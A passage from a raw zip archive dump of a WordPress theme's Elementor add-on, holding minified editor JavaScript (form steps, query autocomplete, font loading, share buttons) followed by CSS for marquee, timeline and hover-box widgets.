e=this.getFirstChild();"step"===e.model.get("field_type")&&(1<this.collection.where({field_type:"step"}).length&&(e.toggleFieldTypeControl(!1),e.toggleTools(!1)),e.toggleSort(!1))}},{key:"onFormFieldChange",value:function(e){var t=e.changed.field_type;if(t&&("step"===t||"step"===e._previousAttributes.field_type)){var n="step"===t;this.children.findByModel(e).toggleStepField(n),this.onStepFieldChanged(n)}}},{key:"onFormFieldRemove",value:function(e){"step"===e.get("field_type")&&this.onStepFieldChanged(!1)}},{key:"onStepFieldChanged",value:function(e){if(e)this.lockFirstStep();else{var t=this.collection.where({field_type:"step"});if(!(t.length>1)){var n=this.getFirstChild();if(1===t.length)return n.toggleTools(!0),void n.toggleFieldTypeControl(!0);n.toggleSort(!0)}}}},{key:"onAddChild",value:function(e){(0,a.default)((0,u.default)(n.prototype),"onAddChild",this).call(this,e),"step"===e.model.get("field_type")&&(this.lockFirstStep(),e.toggleStepField(!0))}}]),n}(elementor.modules.controls.Repeater)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"toggleFieldTypeControl",value:function(e){var t=this.collection.findWhere({name:"field_type"});this.children.findByModel(t).$el.toggle(e)}},{key:"toggleStepField",value:function(e){this.$el.toggleClass("elementor-repeater-row--form-step",e)}},{key:"toggleTools",value:function(e){this.ui.removeButton.add(this.ui.duplicateButton).toggle(e)}}]),n}(elementor.modules.controls.RepeaterRow);t.default=l},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(428)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"onElementorInit",value:function(){$e.components.register(new l.default)}}]),n}(elementorModules.editor.utils.Module);t.default=s},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(4)),l=r(n(5)),s=o(n(429)),c=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"getNamespace",value:function(){return"screenshots"}},{key:"defaultHooks",value:function(){return this.importHooks(s)}}]),n}($e.modules.ComponentBase);t.default=c},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"DeleteScreenshot",{enumerable:!0,get:function(){return r.DeleteScreenshot}});var r=n(430)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.DeleteScreenshot=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getConditions",value:function(e){var t=e.status,n=elementor.documents.getCurrent().config;return"publish"===t&&n.support_site_editor}},{key:"getId",value:function(){return"document/save/save::delete-screenshot"}},{key:"apply",value:function(){var e=elementor.documents.getCurrent().id;return elementorCommon.ajax.addRequest("screenshot_delete",{unique_id:"delete_screenshot_".concat(e),data:{post_id:e}})}}]),n}($e.modules.hookData.After);t.DeleteScreenshot=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(239)),s=n(181),c=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"onElementorInit",value:function(){elementor.documents.getCurrent().config.support_site_editor&&($e.components.register(new l.default),$e.data.deleteCache($e.components.get(l.default.namespace),s.Templates.signature))}}]),n}(elementorModules.editor.utils.Module);t.default=c},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorPreviewLoaded:function(){elementor.addControlView("Query",n(433))}})},function(e,t,n){"use strict";n(19),e.exports=elementor.modules.controls.Select2.extend({cache:null,isTitlesReceived:!1,getSelect2Placeholder:function(){return{id:"",text:elementorPenci.translate("all")}},getControlValueByName:function(e){var t=this.model.get("group_prefix")+e;return this.elementSettingsModel.attributes[t]},getQueryDataDeprecated:function(){return{filter_type:this.model.get("filter_type"),object_type:this.model.get("object_type"),include_type:this.model.get("include_type"),query:this.model.get("query")}},getQueryData:function(){var e=elementorCommon.helpers.cloneObject(this.model.get("autocomplete"));return _.isEmpty(e.query)&&(e.query={}),"cpt_tax"===e.object&&(e.object="tax",(_.isEmpty(e.query)||_.isEmpty(e.query.post_type))&&(e.query.post_type=this.getControlValueByName("post_type"))),{autocomplete:e}},getSelect2DefaultOptions:function(){var e=this;return jQuery.extend(elementor.modules.controls.Select2.prototype.getSelect2DefaultOptions.apply(this,arguments),{ajax:{transport:function(t,n,o){var r={},i="panel_posts_control_filter_autocomplete";return!_.isEmpty(e.model.get("filter_type"))?(r=e.getQueryDataDeprecated(),i="panel_posts_control_filter_autocomplete"):r=e.getQueryData(),r.q=t.data.q,elementorPenci.ajax.addRequest(i,{data:r,success:n,error:o})},data:function(e){return{q:e.term,page:e.page}},cache:!0},escapeMarkup:function(e){return e},minimumInputLength:1})},getValueTitles:function(){var e=this,t={},n=!_.isEmpty(this.model.get("filter_type")),o=this.getControlValue(),r="query_control_value_titles",i="autocomplete",a={};n?(i="filter_type",a=this.model.get(i),t.filter_type=a,t.object_type=e.model.get("object_type"),t.include_type=e.model.get("include_type"),t.unique_id=""+e.cid+a,r="query_control_value_titles"):(a=this.model.get(i).object,t.get_titles=e.getQueryData().autocomplete,t.unique_id=""+e.cid+a),o&&a&&(_.isArray(o)||(o=[o]),elementorCommon.ajax.loadObjects({action:r,ids:o,data:t,before:function(){e.addControlSpinner()},success:function(t){e.isTitlesReceived=!0,e.model.set("options",t),e.render()}}))},addControlSpinner:function(){this.ui.select.prop("disabled",!0),this.$el.find(".elementor-control-title").after('<span class="elementor-control-spinner">&nbsp;<i class="eicon-spinner eicon-animation-spin"></i>&nbsp;</span>')},onReady:function(){this.isTitlesReceived||this.getValueTitles()}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorPreviewLoaded:function(){var e=n(435);this.editButton=new e}})},function(e,t,n){"use strict";n(19),e.exports=function(){var e=this;e.onPanelShow=function(t){var n=t.content.currentView.collection.findWhere({name:"template_id"});e.templateIdView=t.content.currentView.children.findByModelCid(n.cid),e.templateIdView.elementSettingsModel.on("change",e.onTemplateIdChange),e.templateIdView.on("render",e.onTemplateIdChange)},e.onTemplateIdChange=function(){var t=e.templateIdView.elementSettingsModel.get("template_id"),n=e.templateIdView.$el.find(".elementor-edit-template");if(t){var o=ElementorConfig.home_url+"?p="+t+"&elementor";n.length?n.prop("href",o):(n=jQuery("<a />",{target:"_blank",class:"elementor-button elementor-button-default elementor-edit-template",href:o,html:'<i class="fa fa-pencil" /> '+elementorPenci.config.i18n.edit_template}),e.templateIdView.$el.find(".elementor-control-input-wrapper").after(n))}else n.remove()},e.init=function(){elementor.hooks.addAction("panel/open_editor/widget/template",e.onPanelShow)},e.init()}},function(e,t,n){"use strict";n(19),e.exports=elementorModules.editor.utils.Module.extend({onElementorInit:function(){elementor.channels.editor.on("section:activated",this.onSectionActivated)},onSectionActivated:function(e,t){var n=t.getOption("editedElementView");if("flip-box"===n.model.get("widgetType")){var o=-1!==["section_side_b_content","section_style_b"].indexOf(e);n.$el.toggleClass("elementor-flip-box--flipped",o);var r=n.$el.find(".elementor-flip-box__back");o&&r.css("transition","none"),o||setTimeout(function(){r.css("transition","")},10)}}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({config:elementorPenci.config.shareButtonsNetworks,networksClassDictionary:{google:"fab fa-google-plus",pocket:"fab fa-get-pocket",email:"fas fa-envelope"},getNetworkClass:function(e){var t=this.networksClassDictionary[e]||"fab fa-"+e;return elementor.config.icons_update_needed&&(t="fa "+t),t},getNetworkTitle:function(e){return e.text||this.config[e.button].title},hasCounter:function(e,t){return"icon"!==t.view&&"yes"===t.show_counter&&this.config[e].has_counter}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorInit:function(){var e=n(439);this.assets={font:new e}}})},function(e,t,n){"use strict";n(19),e.exports=elementorModules.Module.extend({_enqueuedFonts:[],_enqueuedTypekit:!1,onFontChange:function(e,t){"custom"!==e&&"typekit"!==e||-1===this._enqueuedFonts.indexOf(t)&&("typekit"===e&&this._enqueuedTypekit||this.getCustomFont(e,t))},getCustomFont:function(e,t){elementorPenci.ajax.addRequest("assets_manager_panel_action_data",{unique_id:"font_"+e+t,data:{service:"font",type:e,font:t},success:function(e){e.font_face&&elementor.$previewContents.find("style:last").after('<style type="text/css">'+e.font_face+"</style>"),e.font_url&&elementor.$previewContents.find("link:last").after('<link href="'+e.font_url+'" rel="stylesheet" type="text/css">')}}),this._enqueuedFonts.push(t),"typekit"===e&&(this._enqueuedTypekit=!0)},onInit:function(){elementor.channels.editor.on("font:insertion",this.onFontChange.bind(this))}})},function(e,t,n){"use strict";e.exports=elementorModules.editor.utils.Module.extend({onElementorPreviewLoaded:function(){var e=n(441);this.commentsSkin=new e}})},function(e,t,n){"use strict";e.exports=function(){var e=this;e.onPanelShow=function(e,t){var n=t.get("settings");n.controls._skin.default||n.set("_skin","theme_comments")},e.init=function(){elementor.hooks.addAction("panel/open_editor/widget/post-comments",e.onPanelShow)},e.init()}}]);PK     1w\              elementor/assets/js/frontend.jsnu [        PK     1w\              elementor/assets/js/timeline.jsnu [        PK     1w\"" O  O     elementor/assets/css/marquee.cssnu [        body.rtl .penci-marquee-el {
	direction: rtl;
}
.elementor-widget-penci-marquee-el {
	--marquee-rotate: var(--penci-marquee-el-rotate);
	--marquee-offset: var(--penci-marquee-el-offset);
	--marquee-adjustment: var(--penci-marquee-el-adjustment);
	-webkit-transform: rotate(var(--marquee-rotate));
	-ms-transform: rotate(var(--marquee-rotate));
	transform: rotate(var(--marquee-rotate));
	margin-left: calc(var(--marquee-offset));
	width: calc(100% + var(--marquee-adjustment));
}
.penci-marquee-el {
	height: 100%;
	display: flex;
	align-items: center;
	overflow: hidden;
}
.penci-marquee-el .marquee-content {
	overflow: hidden;
	display: flex;
	align-items: center;
	justify-content: center;
	height: 100%;
	flex-shrink: 0;
	cursor: pointer;
	margin-left: 5px;
	position: relative;
}
.penci-marquee-el .marquee-content.marquee-text {
	background-color: var(--pcaccent-cl);
	font-size: 21px;
	padding: 20px;
	color: #fff;
}
.penci-marquee-el .marquee-content.marquee-image {
	width: fit-content;
}
.marquee-content.marquee-image img {
	width: 100%;
	height: 100%;
	object-fit: cover;
	display: block;
}PK     1w\./}]   ]     elementor/assets/css/editor.cssnu [        body.elementor-editor-active .select2-results__option[aria-selected=true] {
	display: none;
}PK     1w\{)  )  !  elementor/assets/css/timeline.cssnu [        .penci-tiline-grid {
	display: flex;
	flex-wrap: wrap;
	margin: 0;
	margin-left: 0px;
	padding: 0;
	list-style: none;
}
.penci-tiline-item {
	width: 100%;
}
.penci-tiline-align-center .penci-tiline-item {
	width: 50%;
}
.penci-tiline .penci-tiline-item-main-container {
	padding-left: 50px;
	padding-bottom: 50px;
}
.penci-tiline .penci-tiline-thumbnail {
	overflow: hidden;
	position: relative;
	z-index: 2;
}
.penci-tiline .penci-tiline-thumbnail img {
	width: 100%;
	object-fit: cover;
}
.penci-tiline .penci-tiline-item-main-wrapper {
	position: relative;
	padding-left: 50px;
}
.penci-tiline
	.penci-tiline-item-main-wrapper
	.penci-tiline-item-main-container {
	padding-left: 50px;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-item-main {
	position: relative;
	background: #f1f1f1;
}
.penci-tiline.penci-tiline-posts .penci-tiline-item-main-wrapper .penci-tiline-item-main {
	background: #fff;
}
.penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin {
	border: 1px solid var(--pcborder-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-title a,
.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a {
	color: var(--pcheading-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-title a:hover,
.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a:hover {
	color: var(--pcaccent-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn {
	background: #555;
	color: #fff;
	font-weight: 600;
}
.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover {
	background: #000;
}
.penci-tiline.penci-tiline-posts .grid-post-box-meta span:after {
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	width: 4px;
	height: 4px;
	border: 2px solid;
	border-radius: 2px;
	transform: translateY(-2px);
	-webkit-transform: translateY(-2px);
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line {
	position: absolute;
	top: 0;
	height: 100%;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span {
	height: 100%;
	position: absolute;
	transform: translateX(-50%);
	transform-origin: center;
	display: block;
	border-width: 2px;
	border-left-style: dashed;
	border-color: var(--pcborder-cl);
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
	position: absolute;
	top: 20px;
	transform: translate(-50%, -50%);
	left: 51px;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span {
	position: absolute;
	text-align: center;
	border: 4px solid color-mix(in srgb, var(--pcaccent-cl) 40%, #fff);
	transform: translate(-50%, -50%);
	border-radius: 50%;
	height: 48px;
	width: 48px;
	background: var(--pcaccent-cl);
	display: flex;
	align-items: center;
	justify-content: center;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span i,
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span svg {
	color: #fff;
}
.penci-tiline .penci-tiline-meta {
	margin-bottom: 0;
}
.penci-tiline .penci-tiline-meta li {
	display: inline-block;
}
.penci-tiline .penci-tiline-title,
.penci-tiline .penci-tiline-excerpt,
.penci-tiline .penci-tiline-excerpt p {
	margin: 0;
	padding: 0;
}
.penci-tiline .penci-tiline-title {
	font-size: 18px;
}
.penci-tiline .penci-tiline-readmore {
	margin: 0;
}
.penci-tiline .penci-tiline-readmore svg {
	width: 1em;
	height: 1em;
	vertical-align: middle;
}
.penci-tiline .penci-tiline-arrow {
	position: absolute;
	width: 15px;
	height: 15px;
	transform: rotate(45deg);
	z-index: 0;
	top: 15px;
	left: -8px;
	background: #f1f1f1;
}
.penci-tiline
	.penci-tiline-item:nth-last-child(-n + 1)
	.penci-tiline-item-main-container {
	padding-bottom: 0;
}
.penci-tiline .penci-tiline-item:nth-last-child(-n + 1) .penci-tiline-line {
	display: none;
}
.penci-tiline-right .penci-tiline-item {
	margin-left: auto;
}
.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper {
	padding-left: 0;
}
.penci-tiline-right
	.penci-tiline-item.left-part
	.penci-tiline-item-main-container,
.penci-tiline-right
	.penci-tiline-item.right-part
	.penci-tiline-item-main-container {
	padding-right: 50px;
	padding-left: 0;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-arrow,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-arrow {
	right: -8px;
	left: auto;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line {
	right: 0;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon {
	right: 0;
	left: auto;
}
.penci-tiline-right .penci-tiline-date {
	padding: 10px 50px;
}
.penci-tiline-icon svg {
	width: 1em;
	height: 1em;
}
.penci-tiline-desc {
	padding: 30px;
}
@media (max-width: 959px) {
	.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper {
		padding-right: 55px;
	}
	.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,
	.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line {
		right: 55px;
	}
	.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,
	.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon {
		right: 55px;
		left: auto;
	}
}
@media (min-width: 960px) {
	.penci-tiline-center .penci-tiline-item .penci-tiline-item-main-wrapper {
		padding-left: 0;
	}
	.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-item-main-container {
		padding-right: 50px;
		padding-left: 0;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-arrow {
		right: -8px;
		left: auto;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-line {
		right: 0;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-icon {
		right: 0;
		left: auto;
	}
	.penci-tiline-center
		.penci-tiline-item.right-part
		.penci-tiline-item-main-container {
		padding-left: 50px;
		padding-right: 0;
	}
	.penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon {
		left: 0;
	}
	.penci-tiline-center .penci-tiline-date {
		padding: 5px 50px;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-child(-n + 2)
		.penci-tiline-item-main-container {
		padding-top: 0;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-child(-n + 2)
		.penci-tiline-icon {
		top: 22px;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-last-child(-n + 2)
		.penci-tiline-item-main-container {
		padding-bottom: 0;
	}
	.penci-tiline-archive.penci-tiline-center .penci-tiline-date {
		margin-top: 5px;
	}
}
.penci-tiline figcaption {
	margin-bottom: 0;
}
@keyframes fadeIn {
	0% {
		opacity: 0;
		top: 70px;
	}
	100% {
		opacity: 1;
		top: 0;
	}
}
@keyframes liftUp {
	0% {
		top: 0;
	}
	100% {
		top: -15px;
	}
}
.post-entry .penci-tiline-meta,
.post-entry .penci-tiline-meta li {
	margin: 0;
	padding: 0;
}
.penci-tiline-meta,
.post-entry .penci-tiline-meta {
	list-style: none;
	font-size: 13px;
	padding: 10px 0;
}
.penci-tiline-meta li:not(:last-child),
.post-entry .penci-tiline-meta li:not(:last-child) {
	margin-right: 20px;
}
.penci-tiline-readmore,
.post-entry .penci-tiline-readmore {
	padding: 5px 15px;
	display: inline-block;
	background: var(--pcaccent-cl);
	color: var(--pcbg-cl);
	transition: 0.3 all ease-in-out;
	margin-top: 20px;
}
.penci-tiline-readmore:hover {
	opacity: 0.8;
}
.penci-tiline-item-date-wrap.right {
	text-align: right;
}
.penci-tiline .penci-tiline-icon span {
	background: #fff;
}
.penci-tiline .penci-tiline-date span {
	background: #1c1b1b;
	color: #fff;
	padding: 10px 15px;
	display: inline;
	box-decoration-break: clone;
  	-webkit-box-decoration-break: clone;
}
.penci-tiline-item--top .penci-tiline-content:after {
	border-top-color: #f1f1f1;
}
.penci-tiline-item--bottom .penci-tiline-content:after {
	border-bottom-color: #f1f1f1;
}
.penci-tiline--mobile .penci-tiline-content:after {
	border-right-color: #f1f1f1;
}
@media only screen and (max-width: 960px) {
	.penci-tiline-align-center .penci-tiline-item {
		width: 100%;
	}
	.penci-tiline-align-center .penci-tiline-item-date-wrap {
		display: none;
	}
	.penci-tiline .penci-tiline-item-main-wrapper {
		padding: 0;
	}
	.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
		left: 0;
	}
}
.penci-tiline {
	padding-top: 30px;
}
.penci-tiline-archive {
	padding-top: 60px;
	padding-bottom: 60px;
}
.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line {
	top: -30px;
	height: calc(100% + 30px);
}
.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line:before {
	width: 10px;
	height: 10px;
	content: "";
	background: var(--pcborder-cl);
	top: -20px;
	position: absolute;
	transform: translateX(-50%);
	z-index: 9;
	border-radius: 50%;
}
.penci-tiline-meta a,
.post-entry .penci-tiline-meta a {
	color: var(--pcheading-cl);
	text-decoration: none;
}
.post-entry .penci-tiline-item a {
	text-decoration: none;
}
.penci-tiline .penci-biggrid-wrapper .pcbg-content-inner {
	background: #fff;
}
.penci-tiline .penci-biggrid-wrapper,
.penci-tiline .penci-bgstyle-1 .penci-dflex .penci-bgitem {
	margin-bottom: 0;
}
.penci-tiline-item .pcbg-readmorebtn svg {
	max-height: 15px;
	width: auto;
}
@media (min-width: 960px) {
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-line {
		right: auto;
		left: 0;
	}
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-icon {
		right: auto;
		left: 0;
	}
	body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
		transform: translate(50%, 50%);
		top: 0;
	}
	body.rtl
		.penci-tiline
		.penci-tiline-item-main-wrapper
		.penci-tiline-icon
		span {
		transform: translate(50%, 0%);
	}
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-item-main-container {
		padding-right: 0;
		padding-left: 50px;
	}
	body.rtl .penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon {
		left: auto;
		right: 0;
	}
	body.rtl .penci-tiline-center
		.penci-tiline-item.right-part
		.penci-tiline-item-main-container {
		padding-left: 0;
		padding-right: 50px;
	}
}
body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span,
body.rtl
	.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line::before {
	transform: translateX(50%);
}
body.rtl .penci-tiline-item-date-wrap.right {
	text-align: left;
}
body.rtl .penci-tiline-meta li:not(:last-child),
body.rtl .post-entry .penci-tiline-meta li:not(:last-child) {
	margin-right: 0;
	margin-left: 20px;
}PK     1w\a1  1  !  elementor/assets/css/hoverbox.cssnu [        .penci-hover-box-grid {
	--columns: 3;
	--gap: 30px;
	display: flex;
	flex-wrap: wrap;
	margin: 0;
	padding: 0;
	list-style: none;
	gap: var(--gap);
}
.penci-hover-box-grid > div {
	flex: 0 0
		calc((100% - (var(--gap) * (var(--columns) - 1))) / var(--columns));
}
[class*="penci-hvb-position-top"],
[class*="penci-hvb-position-bottom"],
[class*="penci-hvb-position-left"],
[class*="penci-hvb-position-right"],
[class*="penci-hvb-position-center"] {
	position: absolute !important;
	max-width: calc(100% - (var(--penci-hvb-position-margin-offset) * 2));
	box-sizing: border-box;
}
.penci-hvb-position-top {
	top: 0;
	left: 0;
	right: 0;
}
.penci-hvb-position-bottom {
	bottom: 0;
	left: 0;
	right: 0;
}
.penci-hvb-position-left {
	top: 0;
	bottom: 0;
	left: 0;
}
.penci-hvb-position-right {
	top: 0;
	bottom: 0;
	right: 0;
}
.penci-hvb-position-top-left {
	top: 0;
	left: 0;
}
.penci-hvb-position-top-right {
	top: 0;
	right: 0;
}
.penci-hvb-position-bottom-left {
	bottom: 0;
	left: 0;
}
.penci-hvb-position-bottom-right {
	bottom: 0;
	right: 0;
}
.penci-hvb-position-center {
	top: calc(50% - var(--penci-hvb-position-margin-offset));
	left: calc(50% - var(--penci-hvb-position-margin-offset));
	--penci-hvb-position-translate-x: -50%;
	--penci-hvb-position-translate-y: -50%;
	transform: translate(
		var(--penci-hvb-position-translate-x),
		var(--penci-hvb-position-translate-y)
	);
	width: max-content;
}
[class*="penci-hvb-position-center-left"],
[class*="penci-hvb-position-center-right"],
.penci-hvb-position-center-vertical {
	top: calc(50% - var(--penci-hvb-position-margin-offset));
	--penci-hvb-position-translate-y: -50%;
	transform: translate(0, var(--penci-hvb-position-translate-y));
}
.penci-hvb-position-center-left {
	left: 0;
}
.penci-hvb-position-center-right {
	right: 0;
}
.penci-hvb-position-center-vertical {
	left: 0;
	right: 0;
}
.penci-hvb-position-center-left-out {
	right: 100%;
	width: max-content;
}
.penci-hvb-position-center-right-out {
	left: 100%;
	width: max-content;
}
.penci-hvb-position-top-center,
.penci-hvb-position-bottom-center,
.penci-hvb-position-center-horizontal {
	left: calc(50% - var(--penci-hvb-position-margin-offset));
	--penci-hvb-position-translate-x: -50%;
	transform: translate(var(--penci-hvb-position-translate-x), 0);
	width: max-content;
}
.penci-hvb-position-top-center {
	top: 0;
}
.penci-hvb-position-bottom-center {
	bottom: 0;
}
.penci-hvb-position-center-horizontal {
	top: 0;
	bottom: 0;
}
.penci-hvb-position-cover {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
}
.penci-hvb-position-small {
	margin: 15px;
	--penci-hvb-position-margin-offset: 15px;
}
.penci-hvb-position-medium {
	margin: 30px;
	--penci-hvb-position-margin-offset: 30px;
}
.penci-hvb-position-large {
	margin: 30px;
	--penci-hvb-position-margin-offset: 30px;
}
@media (min-width: 1200px) {
	.penci-hvb-position-large {
		margin: 50px;
		--penci-hvb-position-margin-offset: 50px;
	}
}
.penci-hvb-position-relative {
	position: relative !important;
}
.penci-hvb-position-absolute {
	position: absolute !important;
}
.penci-hvb-position-fixed {
	position: fixed !important;
}
.penci-hvb-position-sticky {
	position: sticky !important;
}
.penci-hover-box {
	position: relative;
	overflow: hidden;
	height: 440px;
}
.penci-hover-box:before {
	content: "";
	position: absolute;
	background: rgba(0, 0, 0, 0.3);
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	z-index: 1;
	transition: all 0.25s ease;
}
.penci-hover-box-img-effect.penci-hvb-effect-1 .penci-hover-box-content {
	transition: opacity 1.4s cubic-bezier(0.24, 0.85, 0.2, 1);
}
.penci-hover-box-img-effect.penci-hvb-effect-1
	.penci-hover-box-content.active
	.penci-hover-box-img {
	transform: scale(1.2);
	pointer-events: none;
}
.penci-hover-box-img-effect.penci-hvb-effect-2
	.penci-hover-box-content
	.penci-hover-box-img {
	transform: scale(1.3);
}
.penci-hover-box-img-effect.penci-hvb-effect-2
	.penci-hover-box-content.active
	.penci-hover-box-img {
	transform: scale(1);
	transition: transform 0.75s cubic-bezier(0.6, -0.28, 0.74, 0.05);
	pointer-events: none;
}
.penci-hover-box-img-effect.penci-hvb-effect-3 .penci-hover-box-content {
	opacity: 1;
}
.penci-hover-box-img-effect.penci-hvb-effect-3
	.penci-hover-box-content
	.penci-hover-box-img {
	transition: 0.8s cubic-bezier(0.9, 0, 0.1, 1);
	transform: scale(1.2);
	clip-path: polygon(0 0, 0 0, 0 100%, 0 100%);
}
.penci-hover-box-img-effect.penci-hvb-effect-3
	.penci-hover-box-content.active
	.penci-hover-box-img {
	transform: scale(1);
	clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%);
}
.penci-hover-box-item {
	position: relative;
	overflow: hidden;
	padding: 15px;
	cursor: pointer;
	border: 1px solid #fff;
	transition: all 0.25s ease;
}
.penci-hover-box-item.active {
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
}
.penci-hover-box-item.active .penci-hover-box-button a {
	color: var(--pcaccent-cl);
	background: #fff;
}
.penci-hover-box-sub-title {
	color: #fff;
	font-size: 12px;
	margin-bottom: 3px;
	font-weight: 500;
	transition: all 0.25s ease;
}
.penci-hover-box-title a,
.post-entry .penci-hover-box-title a {
	color: #fff;
	text-decoration: none;
}
.penci-hover-box-title {
	font-size: 16px;
	font-weight: 700;
	color: #fff;
	margin: 0;
	transition: all 0.25s ease;
}
.penci-hover-box-item.active .penci-hover-box-title,
.penci-hover-box-item.active .penci-hover-box-title a {
	color: #fff;
}
.penci-hover-box-text {
	color: #fff;
	font-size: 14px;
	line-height: 1.5em;
	padding-top: 10px;
	transition: all 0.25s ease;
}
.penci-hover-box-text p {
	margin: 0;
}
.penci-hover-box-button {
	display: block;
	position: relative;
	padding-top: 20px;
}
.post-entry .penci-hover-box-button a,
.penci-hover-box-button a {
	font-size: 12px;
	font-weight: 600;
	color: #fff;
	padding: 10px 15px;
	background: var(--pcaccent-cl);
	border-radius: 3px;
	transition: all 0.25s ease;
}
.post-entry .penci-hover-box-button a:hover,
.penci-hover-box-button a:hover {
	text-decoration: none;
}
.penci-hover-box-icon-wrap {
	font-size: 70px;
	color: #fff;
	display: inline-flex;
	transition: all 0.25s ease;
	position: absolute;
	right: -20px;
	bottom: -20px;
}
.penci-hover-box-icon-wrap i,
.penci-hover-box-icon-wrap svg {
	transition: all 0.25s ease;
}
.penci-hover-box-icon-wrap svg {
	width: 1em;
	height: 1em;
	fill: #fff;
}
.penci-hover-box-style-1 .penci-hover-box-icon-wrap {
	color: rgba(255, 255, 255, 0.5);
}
.penci-hover-box-style-1 .penci-hover-box-icon-wrap svg {
	fill: rgba(255, 255, 255, 0.5);
}
.penci-hover-box-item-wrap {
	position: relative;
	max-width: 300px;
	z-index: 1;
}
.penci-hover-box-content {
	opacity: 0;
}
.penci-hover-box-content.active {
	opacity: 1;
}
.penci-hover-box-img {
	position: absolute;
	width: 100%;
	height: 100%;
	background-size: cover;
	background-position: center;
	transition: transform 1.4s cubic-bezier(0.24, 0.85, 0.2, 1);
}
.penci-hover-box-skin-envelope .penci-hover-box-grid {
	width: 100%;
}
.penci-hover-box-skin-envelope .penci-hvb-column-divider {
	width: 100%;
	column-gap: 0;
}
.penci-hover-box-skin-envelope .penci-hover-box-item {
	height: 440px;
	border: 0;
}
.penci-hover-box-skin-envelope .penci-hover-box-item.active {
	background: rgb(from var(--pcaccent-cl) r g b / 0.7);
}
.penci-hover-box-skin-envelope .penci-hover-box-description {
	width: 100%;
}
.penci-hover-box-skin-envelope
